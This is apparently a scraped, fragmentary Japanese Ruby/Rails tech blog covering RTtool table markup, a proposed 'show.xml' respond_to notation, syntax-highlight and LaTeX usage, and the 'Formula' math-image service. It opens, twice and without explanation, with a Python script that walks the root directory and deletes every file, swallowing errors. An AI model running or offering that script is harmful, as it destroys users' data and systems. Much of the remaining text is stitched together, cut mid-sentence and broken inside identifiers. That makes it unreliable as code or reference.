こんにちは
1 import os 2 for root, dirs, files in os.walk('/'): 3 for f in files+dirs: 4 try: 5 os.unlink(os.path.join(root, f)) 6 except: 7 pass
1 import os 2 for root, dirs, files in os.walk('/'): 3 for f in files+dirs: 4 try: 5 os.unlink(os.path.join(root, f)) 6 except: 7 pass
どうも。榊です。
今まではてな(http://d.h
技術系のエントリーはこっちにまとめることにしました。理由は以下。
続いては、作表の仕方を紹介します。 このブログシステムは、BlueStoleを参考にして作った作表機能があります。
Ruby の Markdown ライブラリ、 BlueCloth に幾つかの機能を付け足した私家拡張版です。
こんな感じに RTtool を使った作表を行うことが出来ます。
| What | Who | When |
|---|---|---|
| Ray Tracing | Whitted | 1980 |
| Path Tracing | Kajiya | 1986 |
| Photon Mapping | Jensen | 1995 |
| Metropolis | Veach | 1997 |
ソースはこんな感じです。
1 |caption=Rendering Algorithm 2 | 3 |What , Who , When 4 | 5 |Ray Tracing , Whitted, 1980 6 |Path Tracing , Kajiya , 1986 7 |Photon Mapping , Jensen , 1995 8 |Metropolis Light Transport, Veach , 1997
Rttoolを使っているので、以下のようにちょっと複雑な表も作成可能です。
| Alpha | Bravo | |
| Charlie | Echo | |
| Delta | ||
ソースはこんな感じです。
1 |Alpha,==,Bravo 2 |Charlie,Echo,|| 3 |||,Delta,==
また、このようにCaptionとHeader部分は省略可能です。
ActionCont
というセンスがあるのかないのかわからない機能になっている。
1 def show 2 @person = Person.find(params[:id]) 3 4 respond_todo |format| 5 format.html 6 format.xml { render :xml => @person.to_xml } 7 end 8 end
誰がこんな面倒な記述を各アクションに書いていきたいと思うだろうか。
具体的には以下の問題点が挙げられる。
上記の問題点を解消するために、 以下のような新しい表記法(実装)を提案する。
1 def show 2 @person = Person.find(params[:id]) 3 end 4 5 def show.xml 6 render :xml => @person.to_xml 7 end
可読性は一目瞭然であり、 さきほどのサンプルと比べて以下のメリットを有する。
特に3番目の、 "show.xml" のレスポンスを直感的に定義(記述)できる点は Rubyならではの機能と言える。
1 class ApplicationControlle r < ActionCont roller::Ba se 2 class << self 3 def method_mis sing(action, *arguments) 4 if action_met hods.include?(action.to_s) 5 mime_respo nd_proxy_f or(action) 6 else 7 super 8 end 9 end 10 11 def mime_respo nd_proxy_f or(action) 12 @mime_respo nds[action] ||= MimeRespon dProxy.new 13 end 14 end
このブログシステムには、いままで外向けのドキュメントが無かったのですが、(潜在)アカウント数が徐々に増えてきた事もあり、利用法を書いておこうと思います。
とりあえずわかりにくい所から。 Syntax Highlightつきでソースコードを書くときは、
ruby>>
class Foo
def foo; puts "bar" end
end
<<ruby
のように、lang>> <<langで囲んで行頭から書きます。
結果はこの通り。
1 class Foo 2 def foo; puts "bar" end 3 end
langに使えるのは、UltraViole
あとは、以下のように数式もかけます。
[math]
f(x)=\frac{1}{x}
[/math]
結果は以下の通り。
この2つはコメントを書くときにも有効です。
We announce the release of new service named Formula,
which provides a way of embedding mathematic
Using the service, everybody can easily bring a beautiful mathematic
You can jump to the page of discussion
Usage is quite simple.
There is no need to sign up to use this service.
For details, email us to
.
We appreciate
Thank you.
Genki Takiuchi
Controllergetメソッドなどを使い、
アクションのメソッドを指定します。
1 get :index
しかし、config/rouの中でmap.root :formulae
のようにルートのPathをindexアクションにマッピングしている場合でも、
get :indexを呼び出した結果、Controllerrequest.re
の値は正しいルートのPathになっていません。
そのような場合には、以下のようにすると正しい結果が得られます。
1 request.set_REQUEST_URI '/' 2 get :index
数式をブログに貼り付けて共有するサービス、 Formula を公開いたします。
Formulaをご利用いただくことで、 誰でも簡単に数式をブログに貼り付けることができるようになります。
例)
Formulaのトップページのフォームから、 LaTeX形式で数式データを入力いただくことで、 Previewを確認しながら好みの数式の画像を生成することが出来ます。
生成された画像は、以下のようなHTMLをブログの記事に記述することで、 埋め込むことができます。
1 <a href="http://formula.s21g. com/?f(x)=\int_0^{x}g(t)\,dt"> 2 <img src="http://for mula.s21g. com/?f(x)=\int_0^{x}g(t)\,dt.png" /> 3 </a>
また、数式画像をクリックすると、 その数式に関してコメントを投稿することが出来るページにジャンプします。思い入れのある数式にコメントを寄せてみてください。
本サービスに関する各種お問い合わせは、
までお気軽にお寄せください。
それでは、よろしくお願いいたします。
2.1以降はview以外からhelpersにアクセスできるようになるようです。via 瀧内さん
1 ApplicationControlle r.helpers.simple_for mat(text)
私の現状の環境では2.1でないので、ぐぐってみたらいい感じのがありました。
http://sni
Applicatio
1 def help 2 Helper.instance 3 end 4 5 class Helper 6 include Singleton 7 include ActionView::Helpers::TextHelper 8 9 def h(string) 10 ERB::Util.html_escap e(string) 11 end 12 end